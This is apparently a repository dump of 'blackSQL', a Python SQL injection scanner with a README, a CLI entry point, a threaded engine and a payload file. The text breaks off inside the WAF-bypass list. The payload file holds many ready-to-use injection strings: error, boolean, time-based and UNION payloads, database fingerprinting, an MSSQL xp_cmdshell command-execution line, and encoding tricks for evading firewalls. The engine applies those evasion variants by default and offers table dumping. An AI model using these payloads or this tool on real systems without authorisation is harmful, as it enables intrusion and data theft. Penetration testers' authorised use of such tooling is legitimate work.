├── .gitignore ├── LICENSE ├── README.md ├── blacksql.py ├── lib ├── __init__.py ├── core │ ├── __init__.py │ └── engine.py ├── payloads │ ├── __init__.py │ ├── sql_payloads.py │ └── waf_bypass.py ├── techniques │ ├── __init__.py │ ├── boolean_based.py │ ├── error_based.py │ ├── extractor.py │ ├── time_based.py │ └── union_based.py └── utils │ ├── __init__.py │ ├── cli.py │ ├── http_utils.py │ ├── logger.py │ ├── validator.py │ └── waf_detector.py └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | # Python cache files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # Distribution / packaging 7 | dist/ 8 | build/ 9 | *.egg-info/ 10 | 11 | # Virtual environments 12 | venv/ 13 | env/ 14 | ENV/ 15 | 16 | # Project specific 17 | .cursorrules 18 | logs/ 19 | output/ 20 | 21 | # OS specific 22 | .DS_Store 23 | Thumbs.db -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Mr Sharafdin 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # blackSQL 2 | 3 | An advanced SQL Injection scanner with support for Error-Based, Union-Based, Boolean-Based, and Time-Based detection techniques. 4 | 5 | ## Features 6 | 7 | - Multiple SQL injection detection techniques: 8 | - Error-Based SQL Injection 9 | - Boolean-Based SQL Injection 10 | - Time-Based SQL Injection 11 | - Union-Based SQL Injection 12 | - Multi-threaded scanning for faster results 13 | - Database type detection (MySQL, PostgreSQL, MSSQL, Oracle, SQLite) 14 | - Database enumeration (tables, columns, data) 15 | - Colorized CLI output 16 | - Structured logging (JSON/CSV) 17 | - WAF bypass techniques 18 | 19 | ## Installation 20 | 21 | ```bash 22 | git clone https://github.com/sharafdin/blackSQL.git 23 | cd blackSQL 24 | pip install -r requirements.txt 25 | ``` 26 | 27 | ## Usage 28 | 29 | Basic usage: 30 | 31 | ```bash 32 | python blacksql.py -u "http://example.com/page.php?id=1" 33 | ``` 34 | 35 | Advanced options: 36 | 37 | ```bash 38 | python blacksql.py -u "http://example.com/page.php?id=1" --level 3 --threads 10 --dump 39 | ``` 40 | 41 | ### Command Line Arguments 42 | 43 | | Option | Description | 44 | | --------------- | --------------------------------------------------- | 45 | | `-u, --url` | Target URL (e.g., http://example.com/page.php?id=1) | 46 | | `-p, --params` | Specify parameters to scan (e.g., 'id,page') | 47 | | `--data` | POST data (e.g., 'id=1&page=2') | 48 | | `-c, --cookies` | HTTP cookies (e.g., 'PHPSESSID=value; admin=0') | 49 | | `-t, --threads` | Number of threads (default: 5) | 50 | | `--timeout` | Connection timeout in seconds (default: 10.0) | 51 | | `--proxy` | Use a proxy (e.g., 'http://127.0.0.1:8080') | 52 | | `--level` | Scan level (1-3, higher = more tests) | 53 | | `--dump` | Attempt to dump database tables when vulnerable | 54 | | `--batch` | Never ask for user input, use the default behavior | 55 | | `-o, --output` | Save scan results to a file (CSV/JSON) | 56 | 57 | ## Examples 58 | 59 | Scan a URL with a specific parameter: 60 | 61 | ```bash 62 | python blacksql.py -u "http://example.com/page.php?id=1" -p "id" 63 | ``` 64 | 65 | Scan with POST data: 66 | 67 | ```bash 68 | python blacksql.py -u "http://example.com/login.php" --data "username=admin&password=test" 69 | ``` 70 | 71 | Use a proxy and increase scan level: 72 | 73 | ```bash 74 | python blacksql.py -u "http://example.com/page.php?id=1" --proxy "http://127.0.0.1:8080" --level 3 75 | ``` 76 | 77 | Dump database when vulnerabilities are found: 78 | 79 | ```bash 80 | python blacksql.py -u "http://example.com/page.php?id=1" --dump 81 | ``` 82 | 83 | ## Disclaimer 84 | 85 | This tool is intended for legal security testing and educational purposes only. Do not use it against any website or system without proper authorization. The author is not responsible for any misuse or damage caused by this tool. 86 | 87 | ## License 88 | 89 | blackSQL is an open-source package licensed under the [MIT License](LICENSE) 90 | -------------------------------------------------------------------------------- /blacksql.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | blackSQL - Advanced SQL Injection Scanner 6 | Author: Mr Sharafdin 7 | License: MIT 8 | """ 9 | 10 | import argparse 11 | import sys 12 | import os 13 | from datetime import datetime 14 | 15 | from lib.core.engine import Scanner 16 | from lib.utils.cli import ColorPrint, print_banner 17 | from lib.utils.validator import validate_url 18 | from lib.utils.logger import setup_logger 19 | 20 | 21 | def parse_arguments(): 22 | """Parse command line arguments.""" 23 | parser = argparse.ArgumentParser( 24 | description="blackSQL - Advanced SQL Injection Scanner", 25 | formatter_class=argparse.RawTextHelpFormatter 26 | ) 27 | 28 | parser.add_argument("-u", "--url", 29 | help="Target URL (e.g., http://example.com/page.php?id=1)") 30 | parser.add_argument("-p", "--params", 31 | help="Specify parameters to scan (e.g., 'id,page')") 32 | parser.add_argument("--data", 33 | help="POST data (e.g., 'id=1&page=2')") 34 | parser.add_argument("-c", "--cookies", 35 | help="HTTP cookies (e.g., 'PHPSESSID=value; admin=0')") 36 | parser.add_argument("-t", "--threads", type=int, default=5, 37 | help="Number of threads (default: 5)") 38 | parser.add_argument("--timeout", type=float, default=10.0, 39 | help="Connection timeout in seconds (default: 10.0)") 40 | parser.add_argument("--proxy", 41 | help="Use a proxy (e.g., 'http://127.0.0.1:8080')") 42 | parser.add_argument("--level", type=int, choices=[1, 2, 3], default=1, 43 | help="Scan level (1-3, higher = more tests)") 44 | parser.add_argument("--dump", action="store_true", 45 | help="Attempt to dump database tables when vulnerable") 46 | parser.add_argument("--batch", action="store_true", 47 | help="Never ask for user input, use the default behavior") 48 | parser.add_argument("-o", "--output", 49 | help="Save scan results to a file (CSV/JSON)") 50 | 51 | if len(sys.argv) == 1: 52 | parser.print_help() 53 | sys.exit(1) 54 | 55 | return parser.parse_args() 56 | 57 | 58 | def main(): 59 | """Main function to run the SQL injection scanner.""" 60 | print_banner() 61 | 62 | args = parse_arguments() 63 | 64 | if not args.url: 65 | ColorPrint.red("Error: Target URL is required") 66 | sys.exit(1) 67 | 68 | if not validate_url(args.url): 69 | ColorPrint.red(f"Error: Invalid URL format: {args.url}") 70 | sys.exit(1) 71 | 72 | # Setup logging 73 | logger = setup_logger(args.output) 74 | logger.info(f"Scan started against {args.url}") 75 | 76 | try: 77 | # Initialize scanner 78 | scanner = Scanner( 79 | url=args.url, 80 | params=args.params.split(',') if args.params else None, 81 | data=args.data, 82 | cookies=args.cookies, 83 | threads=args.threads, 84 | timeout=args.timeout, 85 | proxy=args.proxy, 86 | level=args.level, 87 | dump=args.dump, 88 | batch=args.batch, 89 | logger=logger 90 | ) 91 | 92 | # Start scanning 93 | ColorPrint.blue(f"[*] Starting scan against: {args.url}") 94 | ColorPrint.blue( 95 | f"[*] Scan started at: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}") 96 | ColorPrint.blue(f"[*] Using {args.threads} threads") 97 | 98 | scanner.start() 99 | 100 | ColorPrint.blue( 101 | f"[*] Scan completed at: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}") 102 | 103 | except KeyboardInterrupt: 104 | ColorPrint.yellow("\n[!] Scan interrupted by user") 105 | sys.exit(0) 106 | except Exception as e: 107 | ColorPrint.red(f"[!] An error occurred: {str(e)}") 108 | logger.error(f"Scan error: {str(e)}") 109 | sys.exit(1) 110 | 111 | 112 | if __name__ == "__main__": 113 | main() 114 | -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sharafdin/blackSQL/f844407a48efb85582abe1875e0c11d534a8a46f/lib/__init__.py -------------------------------------------------------------------------------- /lib/core/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sharafdin/blackSQL/f844407a48efb85582abe1875e0c11d534a8a46f/lib/core/__init__.py -------------------------------------------------------------------------------- /lib/core/engine.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Core scanning engine for blackSQL 6 | """ 7 | 8 | import concurrent.futures 9 | import time 10 | import os 11 | from urllib.parse import parse_qsl, urlparse 12 | import threading 13 | import queue 14 | 15 | from ..utils.http_utils import RequestHandler 16 | from ..utils.cli import print_status, progress_bar 17 | from ..utils.validator import extract_params, parse_cookies, parse_post_data 18 | from ..utils.logger import VulnerabilityLogger 19 | from ..utils.waf_detector import WAFDetector 20 | from ..payloads.sql_payloads import ERROR_BASED, BOOLEAN_BASED, TIME_BASED, UNION_BASED, DB_FINGERPRINT, WAF_BYPASS 21 | from ..payloads.waf_bypass import WAFBypass 22 | from ..techniques.error_based import ErrorBasedDetector 23 | from ..techniques.boolean_based import BooleanBasedDetector 24 | from ..techniques.time_based import TimeBasedDetector 25 | from ..techniques.union_based import UnionBasedDetector 26 | from ..techniques.extractor import DatabaseExtractor 27 | 28 | 29 | class Scanner: 30 | """Main SQL injection scanning engine""" 31 | 32 | def __init__(self, url, params=None, data=None, cookies=None, threads=5, 33 | timeout=10, proxy=None, level=1, dump=False, batch=False, logger=None): 34 | """ 35 | Initialize the scanner 36 | 37 | Args: 38 | url (str): Target URL 39 | params (list, optional): List of parameters to scan 40 | data (str, optional): POST data string 41 | cookies (str, optional): HTTP cookie string 42 | threads (int): Number of threads to use 43 | timeout (float): Request timeout in seconds 44 | proxy (str, optional): Proxy URL 45 | level (int): Scan level (1-3) 46 | dump (bool): Whether to attempt database dumping 47 | batch (bool): Whether to use batch mode (no user input) 48 | logger (logging.Logger, optional): Logger instance 49 | """ 50 | self.url = url 51 | self.params = params 52 | self.data_string = data 53 | self.cookie_string = cookies 54 | self.threads = threads 55 | self.timeout = timeout 56 | self.proxy = proxy 57 | self.level = level 58 | self.dump = dump 59 | self.batch = batch 60 | self.logger = logger 61 | self.use_waf_bypass = True # Enable WAF bypass by default 62 | 63 | # Parse data and cookies 64 | self.data = parse_post_data(data) if data else {} 65 | self.cookies = parse_cookies(cookies) if cookies else {} 66 | 67 | # Thread-safe structures 68 | self.lock = threading.Lock() 69 | self.result_queue = queue.Queue() 70 | self.scan_progress = {"completed": 0, "total": 0} 71 | 72 | # Create request handler 73 | self.request_handler = RequestHandler( 74 | timeout=timeout, 75 | proxy=proxy, 76 | cookies=self.cookies 77 | ) 78 | 79 | # Create vulnerability logger 80 | self.vuln_logger = VulnerabilityLogger() 81 | 82 | # Detect parameters if not provided 83 | if not self.params: 84 | self.params = list(extract_params(url).keys()) 85 | 86 | # Add POST parameters if available 87 | if self.data: 88 | self.params.extend(list(self.data.keys())) 89 | 90 | # Prepare payloads based on scan level 91 | self.prepare_payloads() 92 | 93 | # Detected vulnerabilities 94 | self.vulnerabilities = [] 95 | 96 | def prepare_payloads(self): 97 | """Prepare payloads based on scan level""" 98 | # Level 1: Basic payloads (about 25% of all payloads) 99 | # Level 2: Medium payloads (about 50% of all payloads) 100 | # Level 3: All payloads 101 | 102 | if self.level == 1: 103 | # Basic scan - fewer payloads 104 | self.error_payloads = ERROR_BASED[:7] 105 | self.boolean_payloads = BOOLEAN_BASED[:6] 106 | self.time_payloads = TIME_BASED[:4] 107 | self.union_payloads = [] # Skip UNION-based at level 1 108 | 109 | # Apply WAF bypass techniques to a subset of payloads 110 | if self.use_waf_bypass: 111 | self.error_payloads = self._apply_waf_bypass( 112 | self.error_payloads, 2) 113 | self.boolean_payloads = self._apply_waf_bypass( 114 | self.boolean_payloads, 2) 115 | self.time_payloads = self._apply_waf_bypass( 116 | self.time_payloads, 1) 117 | 118 | elif self.level == 2: 119 | # Medium scan 120 | self.error_payloads = ERROR_BASED[:15] 121 | self.boolean_payloads = BOOLEAN_BASED[:12] 122 | self.time_payloads = TIME_BASED[:10] 123 | # Skip UNION-based at level 2 (will run if others detect vulnerabilities) 124 | self.union_payloads = [] 125 | 126 | # Apply WAF bypass techniques to more payloads 127 | if self.use_waf_bypass: 128 | self.error_payloads = self._apply_waf_bypass( 129 | self.error_payloads, 3) 130 | self.boolean_payloads = self._apply_waf_bypass( 131 | self.boolean_payloads, 3) 132 | self.time_payloads = self._apply_waf_bypass( 133 | self.time_payloads, 2) 134 | else: 135 | # Level 3: Thorough scan - all payloads 136 | self.error_payloads = ERROR_BASED 137 | self.boolean_payloads = BOOLEAN_BASED 138 | self.time_payloads = TIME_BASED 139 | self.union_payloads = UNION_BASED # Include UNION-based at level 3 140 | 141 | # Apply WAF bypass techniques to all payloads 142 | if self.use_waf_bypass: 143 | self.error_payloads = self._apply_waf_bypass( 144 | self.error_payloads, 5) 145 | self.boolean_payloads = self._apply_waf_bypass( 146 | self.boolean_payloads, 5) 147 | self.time_payloads = self._apply_waf_bypass( 148 | self.time_payloads, 3) 149 | self.union_payloads = self._apply_waf_bypass( 150 | self.union_payloads, 3) 151 | 152 | def _apply_waf_bypass(self, payloads, variants_per_payload=2): 153 | """ 154 | Apply WAF bypass techniques to payloads 155 | 156 | Args: 157 | payloads (list): Original payloads 158 | variants_per_payload (int): Number of variants to generate per payload 159 | 160 | Returns: 161 | list: Modified payloads with WAF bypass techniques 162 | """ 163 | modified_payloads = [] 164 | 165 | # Always include the original payloads 166 | modified_payloads.extend(payloads) 167 | 168 | # Add WAF bypass variants 169 | for payload in payloads: 170 | bypass_payloads = WAFBypass.get_bypass_payloads( 171 | payload, variants_per_payload) 172 | # Skip the first one which is the original 173 | modified_payloads.extend(bypass_payloads[1:]) 174 | 175 | # Limit the number of payloads to avoid excessive requests 176 | max_payloads = 100 177 | if len(modified_payloads) > max_payloads: 178 | self.logger.info( 179 | f"Limiting WAF bypass payloads from {len(modified_payloads)} to {max_payloads}") 180 | modified_payloads = modified_payloads[:max_payloads] 181 | 182 | return modified_payloads 183 | 184 | def scan_parameter(self, parameter): 185 | """ 186 | Scan a single parameter for SQL injection 187 | 188 | Args: 189 | parameter (str): Parameter to scan 190 | 191 | Returns: 192 | dict: Scan results for this parameter 193 | """ 194 | self.logger.info(f"Scanning parameter: {parameter}") 195 | 196 | # Determine if parameter is in URL or POST data 197 | is_post = parameter in self.data 198 | data = self.data if is_post else None 199 | 200 | # Results for this parameter 201 | results = { 202 | 'parameter': parameter, 203 | 'is_vulnerable': False, 204 | 'techniques': [], 205 | 'database_type': None 206 | } 207 | 208 | # 1. Check for Error-based SQL Injection 209 | self.logger.info( 210 | f"Testing Error-based SQL injection on parameter: {parameter}") 211 | error_detector = ErrorBasedDetector( 212 | self.url, self.request_handler, self.logger, self.vuln_logger) 213 | is_vuln_error, db_type_error, payload_error = error_detector.scan_parameter( 214 | parameter, self.error_payloads, is_post, data 215 | ) 216 | 217 | if is_vuln_error: 218 | results['is_vulnerable'] = True 219 | results['techniques'].append('Error-based') 220 | results['database_type'] = db_type_error if db_type_error and db_type_error != 'general' else results['database_type'] 221 | 222 | # 2. Check for Boolean-based SQL Injection 223 | self.logger.info( 224 | f"Testing Boolean-based SQL injection on parameter: {parameter}") 225 | boolean_detector = BooleanBasedDetector( 226 | self.url, self.request_handler, self.logger, self.vuln_logger) 227 | is_vuln_boolean, db_type_boolean, payload_boolean = boolean_detector.scan_parameter( 228 | parameter, self.boolean_payloads, is_post, data 229 | ) 230 | 231 | if is_vuln_boolean: 232 | results['is_vulnerable'] = True 233 | results['techniques'].append('Boolean-based') 234 | results['database_type'] = db_type_boolean if db_type_boolean != 'Unknown' else results['database_type'] 235 | 236 | # 3. Check for Time-based SQL Injection 237 | self.logger.info( 238 | f"Testing Time-based SQL injection on parameter: {parameter}") 239 | time_detector = TimeBasedDetector( 240 | self.url, self.request_handler, self.logger, self.vuln_logger) 241 | is_vuln_time, db_type_time, payload_time = time_detector.scan_parameter( 242 | parameter, self.time_payloads, is_post, data 243 | ) 244 | 245 | if is_vuln_time: 246 | results['is_vulnerable'] = True 247 | results['techniques'].append('Time-based') 248 | results['database_type'] = db_type_time if db_type_time != 'Unknown' else results['database_type'] 249 | 250 | # 4. Check for Union-based SQL Injection 251 | # Only run if other tests detected vulnerabilities or we're at level 3 252 | if results['is_vulnerable'] or self.level == 3: 253 | self.logger.info( 254 | f"Testing Union-based SQL injection on parameter: {parameter}") 255 | union_detector = UnionBasedDetector( 256 | self.url, self.request_handler, self.logger, self.vuln_logger) 257 | is_vuln_union, db_type_union, payload_union = union_detector.scan_parameter( 258 | parameter, is_post, data 259 | ) 260 | 261 | if is_vuln_union: 262 | results['is_vulnerable'] = True 263 | results['techniques'].append('Union-based') 264 | results['database_type'] = db_type_union if db_type_union != 'Unknown' else results['database_type'] 265 | 266 | # 5. Try to extract database information if parameter is vulnerable and dump is enabled 267 | if results['is_vulnerable'] and self.dump: 268 | self.logger.info( 269 | f"Attempting to extract database information from parameter: {parameter}") 270 | print_status( 271 | f"Attempting to extract database information from parameter: {parameter}", "info") 272 | 273 | extractor = DatabaseExtractor( 274 | self.url, parameter, results['database_type'], 275 | self.request_handler, self.logger, self.vuln_logger, 276 | is_post, data 277 | ) 278 | 279 | extraction_results = extractor.extract_all() 280 | results['extraction'] = extraction_results 281 | 282 | # Update progress 283 | with self.lock: 284 | self.scan_progress["completed"] += 1 285 | progress = self.scan_progress["completed"] / \ 286 | self.scan_progress["total"] * 100 287 | self.result_queue.put(results) 288 | 289 | # Update progress bar 290 | progress_bar( 291 | self.scan_progress["completed"], 292 | self.scan_progress["total"], 293 | prefix=f'Progress:', 294 | suffix=f'Complete ({self.scan_progress["completed"]}/{self.scan_progress["total"]})', 295 | length=50 296 | ) 297 | 298 | return results 299 | 300 | def worker(self, param_queue): 301 | """ 302 | Worker function for thread pool 303 | 304 | Args: 305 | param_queue (Queue): Queue of parameters to scan 306 | """ 307 | while not param_queue.empty(): 308 | try: 309 | parameter = param_queue.get(block=False) 310 | self.scan_parameter(parameter) 311 | param_queue.task_done() 312 | except queue.Empty: 313 | break 314 | except Exception as e: 315 | self.logger.error(f"Error in worker thread: {str(e)}") 316 | with self.lock: 317 | self.scan_progress["completed"] += 1 318 | param_queue.task_done() 319 | 320 | def start(self): 321 | """Start scanning process""" 322 | self.logger.info(f"Starting scan with {self.threads} threads") 323 | print_status(f"Starting scan with {self.threads} threads", "info") 324 | 325 | start_time = time.time() 326 | 327 | # Check if we have parameters to scan 328 | if not self.params: 329 | self.logger.warning("No parameters found to scan") 330 | print_status( 331 | "No parameters found to scan. Please provide parameters with --params or use a URL with query parameters.", "warning") 332 | return 333 | 334 | # Check for WAF 335 | print_status("Checking if target is protected by a WAF...", "info") 336 | is_waf, waf_name = WAFDetector.check_target( 337 | self.request_handler, self.url, self.logger) 338 | 339 | # If WAF is detected, make sure WAF bypass is enabled 340 | if is_waf: 341 | self.use_waf_bypass = True 342 | # Regenerate payloads with WAF bypass 343 | self.prepare_payloads() 344 | 345 | # Display parameters to scan 346 | self.params = list(set(self.params)) # Remove duplicates 347 | self.logger.info(f"Parameters to scan: {', '.join(self.params)}") 348 | print_status(f"Parameters to scan: {', '.join(self.params)}", "info") 349 | 350 | # Initialize progress tracking 351 | self.scan_progress["total"] = len(self.params) 352 | self.scan_progress["completed"] = 0 353 | 354 | # Create parameter queue 355 | param_queue = queue.Queue() 356 | for param in self.params: 357 | param_queue.put(param) 358 | 359 | # Create and start worker threads 360 | threads = [] 361 | for _ in range(min(self.threads, len(self.params))): 362 | thread = threading.Thread(target=self.worker, args=(param_queue,)) 363 | thread.daemon = True 364 | thread.start() 365 | threads.append(thread) 366 | 367 | # Wait for all parameters to be processed 368 | param_queue.join() 369 | 370 | # Collect results from the queue 371 | while not self.result_queue.empty(): 372 | result = self.result_queue.get() 373 | if result['is_vulnerable']: 374 | self.vulnerabilities.append(result) 375 | 376 | # Display results summary 377 | end_time = time.time() 378 | scan_duration = end_time - start_time 379 | 380 | print_status(f"Scan completed in {scan_duration:.2f} seconds", "info") 381 | print_status(f"Total parameters scanned: {len(self.params)}", "info") 382 | print_status( 383 | f"Vulnerable parameters found: {len(self.vulnerabilities)}", "info") 384 | 385 | # Export vulnerability results if found 386 | if self.vulnerabilities: 387 | # Create output directory if it doesn't exist 388 | os.makedirs("output", exist_ok=True) 389 | 390 | # Generate timestamp-based filename 391 | timestamp = time.strftime("%Y%m%d_%H%M%S") 392 | json_file = f"output/blacksql_results_{timestamp}.json" 393 | csv_file = f"output/blacksql_results_{timestamp}.csv" 394 | 395 | # Export results 396 | self.vuln_logger.export_to_json(json_file) 397 | self.vuln_logger.export_to_csv(csv_file) 398 | 399 | print_status(f"Results exported to JSON: {json_file}", "success") 400 | print_status(f"Results exported to CSV: {csv_file}", "success") 401 | 402 | return self.vulnerabilities 403 | -------------------------------------------------------------------------------- /lib/payloads/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sharafdin/blackSQL/f844407a48efb85582abe1875e0c11d534a8a46f/lib/payloads/__init__.py -------------------------------------------------------------------------------- /lib/payloads/sql_payloads.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | SQL injection payloads for blackSQL 6 | """ 7 | 8 | # Error-based SQL injection payloads 9 | ERROR_BASED = [ 10 | "'", 11 | "\"", 12 | "' OR '1'='1", 13 | "\" OR \"1\"=\"1", 14 | "' OR '1'='1' --", 15 | "\" OR \"1\"=\"1\" --", 16 | "' OR 1=1 --", 17 | "\" OR 1=1 --", 18 | "' OR 1=1#", 19 | "\" OR 1=1#", 20 | "1' OR '1'='1", 21 | "1\" OR \"1\"=\"1", 22 | "' OR 'x'='x", 23 | "\" OR \"x\"=\"x", 24 | "') OR ('x'='x", 25 | "\") OR (\"x\"=\"x", 26 | "' OR 1=1 LIMIT 1#", 27 | "\" OR 1=1 LIMIT 1#", 28 | "' OR 1=1 LIMIT 1 --", 29 | "\" OR 1=1 LIMIT 1 --", 30 | "' OR '1'='1' LIMIT 1 --", 31 | "' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 --", 32 | "1' ORDER BY 10--+", 33 | "1' ORDER BY 5--+", 34 | "1' GROUP BY 1,2,--+", 35 | "' GROUP BY columnnames having 1=1 --", 36 | "-1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 --", 37 | "' AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x7e,(SELECT version()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND '1'='1", 38 | "' AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x7e,(SELECT user()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND '1'='1", 39 | "' AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x7e,(SELECT database()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND '1'='1", 40 | "' AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND '1'='1", 41 | ] 42 | 43 | # Boolean-based SQL injection payloads 44 | BOOLEAN_BASED = [ 45 | "' AND 1=1 --", 46 | "' AND 1=0 --", 47 | "' OR 1=1 --", 48 | "' OR 1=0 --", 49 | "\" AND 1=1 --", 50 | "\" AND 1=0 --", 51 | "\" OR 1=1 --", 52 | "\" OR 1=0 --", 53 | "' AND '1'='1", 54 | "' AND '1'='0", 55 | "\" AND \"1\"=\"1", 56 | "\" AND \"1\"=\"0", 57 | "1' AND 1=(SELECT COUNT(*) FROM tablenames); --", 58 | "1' AND 1=(SELECT 0); --", 59 | "1' OR 1=(SELECT 0); --", 60 | "1' OR 1=(SELECT COUNT(*) FROM tablenames); --", 61 | "1 AND (SELECT 1 FROM dual WHERE 1=1)='1'", 62 | "1 AND (SELECT 1 FROM dual WHERE 1=0)='1'", 63 | "1' AND 1=(SELECT COUNT(1) FROM (SELECT 1 UNION SELECT 2)x); --", 64 | "1' OR 1=(SELECT COUNT(1) FROM (SELECT 1 UNION SELECT 2)x); --" 65 | ] 66 | 67 | # Time-based SQL injection payloads 68 | TIME_BASED = [ 69 | "' AND SLEEP(5) --", 70 | "\" AND SLEEP(5) --", 71 | "' OR SLEEP(5) --", 72 | "\" OR SLEEP(5) --", 73 | "' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --", 74 | "\" AND (SELECT * FROM (SELECT(SLEEP(5)))a) --", 75 | "' OR (SELECT * FROM (SELECT(SLEEP(5)))a) --", 76 | "\" OR (SELECT * FROM (SELECT(SLEEP(5)))a) --", 77 | "'; WAITFOR DELAY '0:0:5' --", 78 | "\"; WAITFOR DELAY '0:0:5' --", 79 | "' OR WAITFOR DELAY '0:0:5' --", 80 | "\" OR WAITFOR DELAY '0:0:5' --", 81 | "1' AND (SELECT 1 FROM PG_SLEEP(5)) --", 82 | "1' AND SLEEP(5) AND '1'='1", 83 | "1' OR SLEEP(5) AND '1'='1", 84 | "' SELECT pg_sleep(5) --", 85 | "1) OR pg_sleep(5)--", 86 | "' WAITFOR DELAY '0:0:5'--" 87 | ] 88 | 89 | # Union-based SQL injection payloads 90 | UNION_BASED = [ 91 | "' UNION SELECT NULL --", 92 | "' UNION SELECT NULL,NULL --", 93 | "' UNION SELECT NULL,NULL,NULL --", 94 | "' UNION SELECT NULL,NULL,NULL,NULL --", 95 | "' UNION SELECT NULL,NULL,NULL,NULL,NULL --", 96 | "' UNION SELECT BANNER,NULL,NULL,NULL,NULL FROM v$version --", 97 | "' UNION SELECT @@version,NULL,NULL,NULL,NULL --", 98 | "' UNION SELECT version(),NULL,NULL,NULL,NULL --", 99 | "' UNION SELECT 1,2,3,4,5 --", 100 | "' UNION SELECT 1,2,3,4,5,6 --", 101 | "' UNION SELECT 1,2,3,4,5,6,7 --", 102 | "' UNION SELECT 1,2,3,4,5,6,7,8 --", 103 | "' UNION SELECT 1,2,3,4,5,6,7,8,9 --", 104 | "' UNION SELECT 1,2,3,4,5,6,7,8,9,10 --", 105 | "' UNION ALL SELECT 1,2,3,4,5 --", 106 | "' UNION ALL SELECT 1,2,3,4,5,6 --", 107 | "' UNION ALL SELECT 1,2,3,4,5,6,7 --", 108 | "' UNION ALL SELECT 1,2,3,4,5,6,7,8 --", 109 | "' UNION ALL SELECT 1,2,3,4,5,6,7,8,9 --", 110 | "' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10 --" 111 | ] 112 | 113 | # Database fingerprint payloads 114 | DB_FINGERPRINT = { 115 | 'mysql': [ 116 | "' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(VERSION(),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND '1'='1", 117 | "' UNION SELECT @@version,NULL,NULL --", 118 | "' AND @@version --", 119 | "' AND CONVERT(@@version USING utf8) --" 120 | ], 121 | 'mssql': [ 122 | "' AND (SELECT CAST(@@version AS VARCHAR(8000))) --", 123 | "' UNION SELECT @@version,NULL,NULL --", 124 | "'; EXEC master..xp_cmdshell 'ping 127.0.0.1' --", 125 | "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; --" 126 | ], 127 | 'postgres': [ 128 | "' AND (SELECT version()) --", 129 | "' UNION SELECT version(),NULL,NULL --", 130 | "'; SELECT pg_sleep(5) --", 131 | "' AND CAST(version() AS VARCHAR) --" 132 | ], 133 | 'oracle': [ 134 | "' AND (SELECT BANNER FROM v$version WHERE ROWNUM=1) --", 135 | "' UNION SELECT BANNER,NULL,NULL FROM v$version --", 136 | "' AND INSTRB(UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||SUBSTR(BANNER,1,7)||CHR(113)||CHR(62))),CHR(60)||CHR(58)||CHR(113))>0 FROM v$version --", 137 | "' AND SYS.DATABASE_NAME IS NOT NULL --" 138 | ], 139 | 'sqlite': [ 140 | "' AND sqlite_version() IS NOT NULL --", 141 | "' UNION SELECT sqlite_version(),NULL,NULL --", 142 | "' AND TYPEOF(sqlite_version()) --", 143 | "' AND LIKE('%%',sqlite_version()) --" 144 | ] 145 | } 146 | 147 | # WAF bypass techniques 148 | WAF_BYPASS = [ 149 | # Comment variants 150 | "/**/", 151 | "/*!50000*/", 152 | "#", 153 | "--", 154 | "-- -", 155 | ";--", 156 | "; -- -", 157 | "/*! */", 158 | 159 | # Case alternation 160 | "SeLeCt", 161 | "uNiOn", 162 | "WheRe", 163 | 164 | # Whitespace alternatives 165 | "%09", # Tab 166 | "%0A", # New line 167 | "%0C", # Form feed 168 | "%0D", # Carriage return 169 | "%A0", # Non-breaking space 170 | 171 | # URL encoding 172 | "%2527", # Single quote 173 | "%252F", # / 174 | "%2520", # Space 175 | 176 | # Double URL encoding 177 | "%252527", # Single quote 178 | "%25252F", # / 